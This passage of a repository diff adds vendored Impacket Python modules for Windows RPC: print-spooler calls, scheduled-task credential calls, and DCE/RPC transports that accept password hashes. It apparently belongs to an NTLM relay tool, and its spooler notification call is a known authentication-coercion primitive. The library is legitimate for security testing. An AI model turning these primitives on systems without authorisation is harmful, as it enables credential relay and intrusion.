PRINTER_CHANGE_SET_JOB = 0x00000200
PRINTER_CHANGE_DELETE_JOB = 0x00000400
PRINTER_CHANGE_WRITE_JOB = 0x00000800
PRINTER_CHANGE_JOB = 0x0000FF00
PRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000
PRINTER_CHANGE_TIMEOUT = 0x80000000
PRINTER_CHANGE_ALL = 0x7777FFFF
PRINTER_CHANGE_ALL_2 = 0x7F77FFFF
# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle
PRINTER_CHANGE_ADD_PRINTER_DRIVER = 0x10000000
PRINTER_CHANGE_DELETE_PRINTER_DRIVER = 0x40000000
PRINTER_CHANGE_PRINTER_DRIVER = 0x70000000
PRINTER_CHANGE_ADD_FORM = 0x00010000
PRINTER_CHANGE_DELETE_FORM = 0x00040000
PRINTER_CHANGE_SET_FORM = 0x00020000
PRINTER_CHANGE_FORM = 0x00070000
PRINTER_CHANGE_ADD_PORT = 0x00100000
PRINTER_CHANGE_CONFIGURE_PORT = 0x00200000
PRINTER_CHANGE_DELETE_PORT = 0x00400000
PRINTER_CHANGE_PORT = 0x00700000
PRINTER_CHANGE_ADD_PRINT_PROCESSOR = 0x01000000
PRINTER_CHANGE_DELETE_PRINT_PROCESSOR = 0x04000000
PRINTER_CHANGE_PRINT_PROCESSOR = 0x07000000
PRINTER_CHANGE_ADD_PRINTER = 0x00000001
PRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008
PRINTER_CHANGE_SERVER = 0x08000000
# 2.2.3.7 Printer Enumeration Flags
PRINTER_ENUM_LOCAL = 0x00000002
PRINTER_ENUM_CONNECTIONS = 0x00000004
PRINTER_ENUM_NAME = 0x00000008
PRINTER_ENUM_REMOTE = 0x00000010
PRINTER_ENUM_SHARED = 0x00000020
PRINTER_ENUM_NETWORK = 0x00000040
PRINTER_ENUM_EXPAND = 0x00004000
PRINTER_ENUM_CONTAINER = 0x00008000
PRINTER_ENUM_ICON1 = 0x00010000
PRINTER_ENUM_ICON2 = 0x00020000
PRINTER_ENUM_ICON3 = 0x00040000
PRINTER_ENUM_ICON8 = 0x00800000
PRINTER_ENUM_HIDE = 0x01000000
# 2.2.3.8 Printer Notification Values
PRINTER_NOTIFY_CATEGORY_2D = 0x00000000
PRINTER_NOTIFY_CATEGORY_ALL = 0x00010000
PRINTER_NOTIFY_CATEGORY_3D = 0x00020000
################################################################################
# STRUCTURES
################################################################################
# 2.2.1.1.4 PRINTER_HANDLE
class PRINTER_HANDLE(NDRSTRUCT):
structure = (
('Data','20s=b""'),
)
def getAlignment(self):
if self._isNDR64 is True:
return 8
else:
return 4
# 2.2.1.2.1 DEVMODE_CONTAINER
class BYTE_ARRAY(NDRUniConformantArray):
item = 'c'
class PBYTE_ARRAY(NDRPOINTER):
referent = (
('Data', BYTE_ARRAY),
)
class DEVMODE_CONTAINER(NDRSTRUCT):
structure = (
('cbBuf',DWORD),
('pDevMode',PBYTE_ARRAY),
)
# 2.2.1.11.1 SPLCLIENT_INFO_1
class SPLCLIENT_INFO_1(NDRSTRUCT):
structure = (
('dwSize',DWORD),
('pMachineName',LPWSTR),
('pUserName',LPWSTR),
('dwBuildNum',DWORD),
('dwMajorVersion',DWORD),
('dwMinorVersion',DWORD),
('wProcessorArchitecture',USHORT),
)
class PSPLCLIENT_INFO_1(NDRPOINTER):
referent = (
('Data', SPLCLIENT_INFO_1),
)
# 2.2.1.11.2 SPLCLIENT_INFO_2
class SPLCLIENT_INFO_2(NDRSTRUCT):
structure = (
('notUsed',ULONGLONG),
)
class PSPLCLIENT_INFO_2(NDRPOINTER):
referent = (
('Data', SPLCLIENT_INFO_2),
)
# 2.2.1.11.3 SPLCLIENT_INFO_3
class SPLCLIENT_INFO_3(NDRSTRUCT):
structure = (
('cbSize',UINT),
('dwFlags',DWORD),
('dwFlags',DWORD),
('pMachineName',LPWSTR),
('pUserName',LPWSTR),
('dwBuildNum',DWORD),
('dwMajorVersion',DWORD),
('dwMinorVersion',DWORD),
('wProcessorArchitecture',USHORT),
('hSplPrinter',ULONGLONG),
)
class PSPLCLIENT_INFO_3(NDRPOINTER):
referent = (
('Data', SPLCLIENT_INFO_3),
)
# 2.2.1.2.14 SPLCLIENT_CONTAINER
class CLIENT_INFO_UNION(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
1 : ('pClientInfo1', PSPLCLIENT_INFO_1),
2 : ('pNotUsed1', PSPLCLIENT_INFO_2),
3 : ('pNotUsed2', PSPLCLIENT_INFO_3),
}
class SPLCLIENT_CONTAINER(NDRSTRUCT):
structure = (
('Level',DWORD),
('ClientInfo',CLIENT_INFO_UNION),
)
# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE
class USHORT_ARRAY(NDRUniConformantArray):
item = '<H'
class PUSHORT_ARRAY(NDRPOINTER):
referent = (
('Data', USHORT_ARRAY),
)
class RPC_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):
structure = (
('Type',USHORT),
('Reserved0',USHORT),
('Reserved1',DWORD),
('Reserved2',DWORD),
('Count',DWORD),
('pFields',PUSHORT_ARRAY),
)
class PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):
referent = (
('Data', RPC_V2_NOTIFY_OPTIONS_TYPE),
)
# 2.2.1.13.1 RPC_V2_NOTIFY_OPTIONS
class RPC_V2_NOTIFY_OPTIONS(NDRSTRUCT):
structure = (
('Version',DWORD),
('Reserved',DWORD),
('Count',DWORD),
('pTypes',PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),
)
class PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):
referent = (
('Data', RPC_V2_NOTIFY_OPTIONS),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.2.1 RpcEnumPrinters (Opnum 0)
class RpcEnumPrinters(NDRCALL):
opnum = 0
structure = (
('Flags', DWORD),
('Name', STRING_HANDLE),
('Level', DWORD),
('pPrinterEnum', PBYTE_ARRAY),
('cbBuf', DWORD),
)
class RpcEnumPrintersResponse(NDRCALL):
structure = (
('pPrinterEnum', PBYTE_ARRAY),
('pcbNeeded', DWORD),
('pcReturned', DWORD),
('ErrorCode', ULONG),
)
# 3.1.4.2.2 RpcOpenPrinter (Opnum 1)
class RpcOpenPrinter(NDRCALL):
opnum = 1
structure = (
('pPrinterName', STRING_HANDLE),
('pDatatype', LPWSTR),
('pDevModeContainer', DEVMODE_CONTAINER),
('AccessRequired', DWORD),
)
class RpcOpenPrinterResponse(NDRCALL):
structure = (
('pHandle', PRINTER_HANDLE),
('ErrorCode', ULONG),
)
# 3.1.4.2.9 RpcClosePrinter (Opnum 29)
class RpcClosePrinter(NDRCALL):
opnum = 29
structure = (
('phPrinter', PRINTER_HANDLE),
)
class RpcClosePrinterResponse(NDRCALL):
structure = (
('phPrinter', PRINTER_HANDLE),
('ErrorCode', ULONG),
)
# 3.1.4.10.4 RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)
class RpcRemoteFindFirstPrinterChangeNotificationEx(NDRCALL):
opnum = 65
structure = (
('hPrinter', PRINTER_HANDLE),
('fdwFlags', DWORD),
('fdwOptions', DWORD),
('pszLocalMachine', LPWSTR),
('dwPrinterLocal', DWORD),
('pOptions', PRPC_V2_NOTIFY_OPTIONS),
)
class RpcRemoteFindFirstPrinterChangeNotificationExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
# 3.1.4.2.14 RpcOpenPrinterEx (Opnum 69)
class RpcOpenPrinterEx(NDRCALL):
opnum = 69
structure = (
('pPrinterName', STRING_HANDLE),
('pDatatype', LPWSTR),
('pDevModeContainer', DEVMODE_CONTAINER),
('AccessRequired', DWORD),
('pClientInfo', SPLCLIENT_CONTAINER),
)
class RpcOpenPrinterExResponse(NDRCALL):
structure = (
('pHandle', PRINTER_HANDLE),
('ErrorCode', ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (RpcEnumPrinters, RpcEnumPrintersResponse),
1 : (RpcOpenPrinter, RpcOpenPrinterResponse),
29 : (RpcClosePrinter, RpcClosePrinterResponse),
65 : (RpcRemoteFindFirstPrinterChangeNotificationEx, RpcRemoteFindFirstPrinterChangeNotificationExResponse),
69 : (RpcOpenPrinterEx, RpcOpenPrinterExResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hRpcOpenPrinter(dce, printerName, pDatatype = NULL, pDevModeContainer = NULL, accessRequired = SERVER_READ):
"""
RpcOpenPrinter retrieves a handle for a printer, port, port monitor, print job, or print server.
Full Documentation: https://msdn.microsoft.com/en-us/library/cc244808.aspx
:param DCERPC_v5 dce: a connected DCE instance.
:param string printerName: A string for a printer connection, printer object, server object, job object, port
object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4
(IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure
call (RPC) binds to, and it MUST uniquely identify a print server on the network.
:param string pDatatype: A string that specifies the data type to be associated with the printer handle.
:param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in
DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).
:param int accessRequired: The access level that the client requires for interacting with the object to which a
handle is being opened.
:return: a RpcOpenPrinterResponse instance, raises DCERPCSessionError on error.
"""
request = RpcOpenPrinter()
request['pPrinterName'] = checkNullString(printerName)
request['pDatatype'] = pDatatype
if pDevModeContainer is NULL:
request['pDevModeContainer']['pDevMode'] = NULL
else:
request['pDevModeContainer'] = pDevModeContainer
request['AccessRequired'] = accessRequired
return dce.request(request)
def hRpcClosePrinter(dce, phPrinter):
"""
RpcClosePrinter closes a handle to a printer object, server object, job object, or port object.
Full Documentation: https://msdn.microsoft.com/en-us/library/cc244768.aspx
:param DCERPC_v5 dce: a connected DCE instance.
:param PRINTER_HANDLE phPrinter: A handle to a printer object, server object, job object, or port object.
:return: a RpcClosePrinterResponse instance, raises DCERPCSessionError on error.
"""
request = RpcClosePrinter()
request['phPrinter'] = phPrinter
return dce.request(request)
def hRpcOpenPrinterEx(dce, printerName, pDatatype=NULL, pDevModeContainer=NULL, accessRequired=SERVER_READ,
pClientInfo=NULL):
"""
RpcOpenPrinterEx retrieves a handle for a printer, port, port monitor, print job, or print server
Full Documentation: https://msdn.microsoft.com/en-us/library/cc244809.aspx
:param DCERPC_v5 dce: a connected DCE instance.
:param string printerName: A string for a printer connection, printer object, server object, job object, port
object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4
(IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure
call (RPC) binds to, and it MUST uniquely identify a print server on the network.
:param string pDatatype: A string that specifies the data type to be associated with the printer handle.
:param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in
DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).
:param int accessRequired: The access level that the client requires for interacting with the object to which a
handle is being opened.
:param SPLCLIENT_CONTAINER pClientInfo: This parameter MUST adhere to the specification in SPLCLIENT_CONTAINER Parameters.
:return: a RpcOpenPrinterExResponse instance, raises DCERPCSessionError on error.
"""
request = RpcOpenPrinterEx()
request['pPrinterName'] = checkNullString(printerName)
request['pDatatype'] = pDatatype
if pDevModeContainer is NULL:
request['pDevModeContainer']['pDevMode'] = NULL
else:
request['pDevModeContainer'] = pDevModeContainer
request['AccessRequired'] = accessRequired
if pClientInfo is NULL:
raise Exception('pClientInfo cannot be NULL')
request['pClientInfo'] = pClientInfo
return dce.request(request)
def hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, hPrinter, fdwFlags, fdwOptions=0, pszLocalMachine=NULL,
dwPrinterLocal=0, pOptions=NULL):
"""
creates a remote change notification object that monitors changes to printer objects and sends change notifications
to a print client using either RpcRouterReplyPrinter (section 3.2.4.1.2) or RpcRouterReplyPrinterEx (section 3.2.4.1.4)
Full Documentation: https://msdn.microsoft.com/en-us/library/cc244813.aspx
:param DCERPC_v5 dce: a connected DCE instance.
:param PRINTER_HANDLE hPrinter: A handle to a printer or server object.
:param int fdwFlags: Flags that specify the conditions that are required for a change notification object to enter a signaled state.
:param int fdwOptions: The category of printers for which change notifications are returned.
:param string pszLocalMachine: A string that represents the name of the client computer.
:param int dwPrinterLocal: An implementation-specific unique value that MUST be sufficient for the client to determine
whether a call to RpcReplyOpenPrinter by the server is associated with the hPrinter parameter in this call.
:param RPC_V2_NOTIFY_OPTIONS pOptions: An RPC_V2_NOTIFY_OPTIONS structure that specifies printer or job members that the client listens to for notifications.
:return: a RpcRemoteFindFirstPrinterChangeNotificationExResponse instance, raises DCERPCSessionError on error.
"""
request = RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = hPrinter
request['fdwFlags'] = fdwFlags
request['fdwOptions'] = fdwOptions
request['dwPrinterLocal'] = dwPrinterLocal
if pszLocalMachine is NULL:
raise Exception('pszLocalMachine cannot be NULL')
request['pszLocalMachine'] = checkNullString(pszLocalMachine)
request['pOptions'] = pOptions
return dce.request(request)
def hRpcEnumPrinters(dce, flags, name = NULL, level = 1):
"""
RpcEnumPrinters enumerates available printers, print servers, domains, or print providers.
Full Documentation: https://msdn.microsoft.com/en-us/library/cc244794.aspx
:param DCERPC_v5 dce: a connected DCE instance.
:param int flags: The types of print objects that this method enumerates. The value of this parameter is the
result of a bitwise OR of one or more of the Printer Enumeration Flags (section 2.2.3.7).
:param string name: NULL or a server name parameter as specified in Printer Server Name Parameters (section 3.1.4.1.4).
:param level: The level of printer information structure.
:return: a RpcEnumPrintersResponse instance, raises DCERPCSessionError on error.
"""
request = RpcEnumPrinters()
request['Flags'] = flags
request['Name'] = name
request['pPrinterEnum'] = NULL
request['Level'] = level
bytesNeeded = 0
try:
dce.request(request)
except DCERPCSessionError as e:
if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:
raise
bytesNeeded = e.get_packet()['pcbNeeded']
request = RpcEnumPrinters()
request['Flags'] = flags
request['Name'] = name
request['Level'] = level
request['cbBuf'] = bytesNeeded
request['pPrinterEnum'] = b'a' * bytesNeeded
return dce.request(request)

1006
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rrp.py Normal file
View File

File diff suppressed because it is too large Load Diff

2929
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/samr.py Normal file
View File

File diff suppressed because it is too large Load Diff

175
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/sasec.py Normal file
View File

@@ -0,0 +1,175 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] SASec Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_SASEC = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
SASEC_HANDLE = WSTR
PSASEC_HANDLE = LPWSTR
MAX_BUFFER_SIZE = 273
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000
################################################################################
# STRUCTURES
################################################################################
class WORD_ARRAY(NDRUniConformantArray):
item = '<H'
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
class SASetAccountInformation(NDRCALL):
opnum = 0
structure = (
('Handle', PSASEC_HANDLE),
('pwszJobName', WSTR),
('pwszAccount', WSTR),
('pwszPassword', LPWSTR),
('dwJobFlags', DWORD),
)
class SASetAccountInformationResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.3.5 SASetNSAccountInformation (Opnum 1)
class SASetNSAccountInformation(NDRCALL):
opnum = 1
structure = (
('Handle', PSASEC_HANDLE),
('pwszAccount', LPWSTR),
('pwszPassword', LPWSTR),
)
class SASetNSAccountInformationResponse(NDRCALL):
structure = (
('ErrorCode',ULONG),
)
# 3.2.5.3.6 SAGetNSAccountInformation (Opnum 2)
class SAGetNSAccountInformation(NDRCALL):
opnum = 2
structure = (
('Handle', PSASEC_HANDLE),
('ccBufferSize', DWORD),
('wszBuffer', WORD_ARRAY),
)
class SAGetNSAccountInformationResponse(NDRCALL):
structure = (
('wszBuffer',WORD_ARRAY),
('ErrorCode',ULONG),
)
# 3.2.5.3.7 SAGetAccountInformation (Opnum 3)
class SAGetAccountInformation(NDRCALL):
opnum = 3
structure = (
('Handle', PSASEC_HANDLE),
('pwszJobName', WSTR),
('ccBufferSize', DWORD),
('wszBuffer', WORD_ARRAY),
)
class SAGetAccountInformationResponse(NDRCALL):
structure = (
('wszBuffer',WORD_ARRAY),
('ErrorCode',ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (SASetAccountInformation, SASetAccountInformationResponse),
1 : (SASetNSAccountInformation, SASetNSAccountInformationResponse),
2 : (SAGetNSAccountInformation, SAGetNSAccountInformationResponse),
3 : (SAGetAccountInformation, SAGetAccountInformationResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
request = SASetAccountInformation()
request['Handle'] = handle
request['pwszJobName'] = checkNullString(pwszJobName)
request['pwszAccount'] = checkNullString(pwszAccount)
request['pwszPassword'] = checkNullString(pwszPassword)
request['dwJobFlags'] = dwJobFlags
return dce.request(request)
def hSASetNSAccountInformation(dce, handle, pwszAccount, pwszPassword):
request = SASetNSAccountInformation()
request['Handle'] = handle
request['pwszAccount'] = checkNullString(pwszAccount)
request['pwszPassword'] = checkNullString(pwszPassword)
return dce.request(request)
def hSAGetNSAccountInformation(dce, handle, ccBufferSize = MAX_BUFFER_SIZE):
request = SAGetNSAccountInformation()
request['Handle'] = handle
request['ccBufferSize'] = ccBufferSize
for _ in range(ccBufferSize):
request['wszBuffer'].append(0)
return dce.request(request)
def hSAGetAccountInformation(dce, handle, pwszJobName, ccBufferSize = MAX_BUFFER_SIZE):
request = SAGetAccountInformation()
request['Handle'] = handle
request['pwszJobName'] = checkNullString(pwszJobName)
request['ccBufferSize'] = ccBufferSize
for _ in range(ccBufferSize):
request['wszBuffer'].append(0)
return dce.request(request)

1398
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/scmr.py Normal file
View File

File diff suppressed because it is too large Load Diff

3296
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/srvs.py Normal file
View File

File diff suppressed because it is too large Load Diff

592
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py Normal file
View File

@@ -0,0 +1,592 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Transport implementations for the DCE/RPC protocol.
#
from __future__ import division
from __future__ import print_function
import binascii
import os
import re
import socket
try:
from urllib.parse import urlparse, urlunparse
except ImportError:
from urlparse import urlparse, urlunparse
from impacket import ntlm
from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
from impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2
from impacket.smbconnection import SMBConnection
class DCERPCStringBinding:
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
+'([_a-zA-Z0-9]*):' # Protocol Sequence
+'([^\[]*)' # Network Address (opt.)
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
def __init__(self, stringbinding):
match = DCERPCStringBinding.parser.match(stringbinding)
self.__uuid = match.group(1)
self.__ps = match.group(2)
self.__na = match.group(3)
options = match.group(4)
if options:
options = options.split(',')
self.__endpoint = options[0]
try:
self.__endpoint.index('endpoint=')
self.__endpoint = self.__endpoint[len('endpoint='):]
except:
pass
self.__options = {}
for option in options[1:]:
vv = option.split('=', 1)
self.__options[vv[0]] = vv[1] if len(vv) > 1 else ''
else:
self.__endpoint = ''
self.__options = {}
def get_uuid(self):
return self.__uuid
def get_protocol_sequence(self):
return self.__ps
def get_network_address(self):
return self.__na
def set_network_address(self, addr):
self.__na = addr
def get_endpoint(self):
return self.__endpoint
def get_options(self):
return self.__options
def get_option(self, option_name):
return self.__options[option_name]
def is_option_set(self, option_name):
return option_name in self.__options
def unset_option(self, option_name):
del self.__options[option_name]
def __str__(self):
return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}):
s = ''
if uuid:
s += uuid + '@'
s += protocol_sequence + ':'
if network_address:
s += network_address
if endpoint or options:
s += '[' + endpoint
if options:
s += ',' + ','.join([key if str(val) == '' else "=".join([key, str(val)]) for key, val in options.items()])
s += ']'
return s
def DCERPCTransportFactory(stringbinding):
sb = DCERPCStringBinding(stringbinding)
na = sb.get_network_address()
ps = sb.get_protocol_sequence()
if 'ncadg_ip_udp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = UDPTransport(na, int(port))
else:
rpctransport = UDPTransport(na)
elif 'ncacn_ip_tcp' == ps:
port = sb.get_endpoint()
if port:
rpctransport = TCPTransport(na, int(port))
else:
rpctransport = TCPTransport(na)
elif 'ncacn_http' == ps:
port = sb.get_endpoint()
if port:
rpctransport = HTTPTransport(na, int(port))
else:
rpctransport = HTTPTransport(na)
elif 'ncacn_np' == ps:
named_pipe = sb.get_endpoint()
if named_pipe:
named_pipe = named_pipe[len(r'\pipe'):]
rpctransport = SMBTransport(na, filename = named_pipe)
else:
rpctransport = SMBTransport(na)
elif 'ncalocal' == ps:
named_pipe = sb.get_endpoint()
rpctransport = LOCALTransport(filename = named_pipe)
else:
raise DCERPCException("Unknown protocol sequence.")
rpctransport.set_stringbinding(sb)
return rpctransport
class DCERPCTransport:
DCERPC_class = DCERPC_v5
def __init__(self, remoteName, dstport):
self.__remoteName = remoteName
self.__remoteHost = remoteName
self.__dstport = dstport
self._stringbinding = None
self._max_send_frag = None
self._max_recv_frag = None
self._domain = ''
self._lmhash = ''
self._nthash = ''
self.__connect_timeout = None
self._doKerberos = False
self._username = ''
self._password = ''
self._domain = ''
self._aesKey = None
self._TGT = None
self._TGS = None
self._kdcHost = None
self.set_credentials('','')
# Strict host validation - off by default and currently only for
# SMBTransport
self._strict_hostname_validation = False
self._validation_allow_absent = True
self._accepted_hostname = ''
def connect(self):
raise RuntimeError('virtual function')
def send(self,data=0, forceWriteAndx = 0, forceRecv = 0):
raise RuntimeError('virtual function')
def recv(self, forceRecv = 0, count = 0):
raise RuntimeError('virtual function')
def disconnect(self):
raise RuntimeError('virtual function')
def get_socket(self):
raise RuntimeError('virtual function')
def get_connect_timeout(self):
return self.__connect_timeout
def set_connect_timeout(self, timeout):
self.__connect_timeout = timeout
def getRemoteName(self):
return self.__remoteName
def setRemoteName(self, remoteName):
"""This method only makes sense before connection for most protocols."""
self.__remoteName = remoteName
def getRemoteHost(self):
return self.__remoteHost
def setRemoteHost(self, remoteHost):
"""This method only makes sense before connection for most protocols."""
self.__remoteHost = remoteHost
def get_dport(self):
return self.__dstport
def set_dport(self, dport):
"""This method only makes sense before connection for most protocols."""
self.__dstport = dport
def get_stringbinding(self):
return self._stringbinding
def set_stringbinding(self, stringbinding):
self._stringbinding = stringbinding
def get_addr(self):
return self.getRemoteHost(), self.get_dport()
def set_addr(self, addr):
"""This method only makes sense before connection for most protocols."""
self.setRemoteHost(addr[0])
self.set_dport(addr[1])
def set_kerberos(self, flag, kdcHost = None):
self._doKerberos = flag
self._kdcHost = kdcHost
def get_kerberos(self):
return self._doKerberos
def get_kdcHost(self):
return self._kdcHost
def set_max_fragment_size(self, send_fragment_size):
# -1 is default fragment size: 0 (don't fragment)
# 0 is don't fragment
# other values are max fragment size
if send_fragment_size == -1:
self.set_default_max_fragment_size()
else:
self._max_send_frag = send_fragment_size
def set_hostname_validation(self, validate, accept_empty, hostname):
self._strict_hostname_validation = validate
self._validation_allow_absent = accept_empty
self._accepted_hostname = hostname
def set_default_max_fragment_size(self):
# default is 0: don't fragment.
# subclasses may override this method
self._max_send_frag = 0
def get_credentials(self):
return (
self._username,
self._password,
self._domain,
self._lmhash,
self._nthash,
self._aesKey,
self._TGT,
self._TGS)
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
self._username = username
self._password = password
self._domain = domain
self._aesKey = aesKey
self._TGT = TGT
self._TGS = TGS
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0%s' % lmhash
if len(nthash) % 2:
nthash = '0%s' % nthash
try: # just in case they were converted already
self._lmhash = binascii.unhexlify(lmhash)
self._nthash = binascii.unhexlify(nthash)
except:
self._lmhash = lmhash
self._nthash = nthash
pass
def doesSupportNTLMv2(self):
# By default we'll be returning the library's default. Only on SMB Transports we might be able to know it beforehand
return ntlm.USE_NTLMv2
def get_dce_rpc(self):
return DCERPC_v5(self)
class UDPTransport(DCERPCTransport):
"Implementation of ncadg_ip_udp protocol sequence"
DCERPC_class = DCERPC_v4
def __init__(self, remoteName, dstport = 135):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = 0
self.set_connect_timeout(30)
self.__recv_addr = ''
def connect(self):
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_DGRAM)[0]
self.__socket = socket.socket(af, socktype, proto)
self.__socket.settimeout(self.get_connect_timeout())
except socket.error as msg:
self.__socket = None
raise DCERPCException("Could not connect: %s" % msg)
return 1
def disconnect(self):
try:
self.__socket.close()
except socket.error:
self.__socket = None
return 0
return 1
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
self.__socket.sendto(data, (self.getRemoteHost(), self.get_dport()))
def recv(self, forceRecv = 0, count = 0):
buffer, self.__recv_addr = self.__socket.recvfrom(8192)
return buffer
def get_recv_addr(self):
return self.__recv_addr
def get_socket(self):
return self.__socket
class TCPTransport(DCERPCTransport):
"""Implementation of ncacn_ip_tcp protocol sequence"""
def __init__(self, remoteName, dstport = 135):
DCERPCTransport.__init__(self, remoteName, dstport)
self.__socket = 0
self.set_connect_timeout(30)
def connect(self):
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]
self.__socket = socket.socket(af, socktype, proto)
try:
self.__socket.settimeout(self.get_connect_timeout())
self.__socket.connect(sa)
except socket.error as msg:
self.__socket.close()
raise DCERPCException("Could not connect: %s" % msg)
return 1
def disconnect(self):
try:
self.__socket.close()
except socket.error:
self.__socket = None
return 0
return 1
def send(self,data, forceWriteAndx = 0, forceRecv = 0):
if self._max_send_frag:
offset = 0
while 1:
toSend = data[offset:offset+self._max_send_frag]
if not toSend:
break
self.__socket.send(toSend)
offset += len(toSend)
else:
self.__socket.send(data)
def recv(self, forceRecv = 0, count = 0):
if count:
buffer = b''
while len(buffer) < count:
buffer += self.__socket.recv(count-len(buffer))
else:
buffer = self.__socket.recv(8192)
return buffer
def get_socket(self):
return self.__socket
class HTTPTransport(TCPTransport, RPCProxyClient):
"""Implementation of ncacn_http protocol sequence"""
def __init__(self, remoteName=None, dstport=593):
self._useRpcProxy = False
self._rpcProxyUrl = None
self._transport = TCPTransport
self._version = RPC_OVER_HTTP_v2
DCERPCTransport.__init__(self, remoteName, dstport)
RPCProxyClient.__init__(self, remoteName, dstport)
self.set_connect_timeout(30)
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
return self._transport.set_credentials(self, username, password,
domain, lmhash, nthash, aesKey, TGT, TGS)
def rpc_proxy_init(self):
self._useRpcProxy = True
self._transport = RPCProxyClient
def set_rpc_proxy_url(self, url):
self.rpc_proxy_init()
self._rpcProxyUrl = urlparse(url)
def get_rpc_proxy_url(self):
return urlunparse(self._rpcProxyUrl)
def set_stringbinding(self, set_stringbinding):
DCERPCTransport.set_stringbinding(self, set_stringbinding)
if self._stringbinding.is_option_set("RpcProxy"):
self.rpc_proxy_init()
rpcproxy = self._stringbinding.get_option("RpcProxy").split(":")
if rpcproxy[1] == '443':
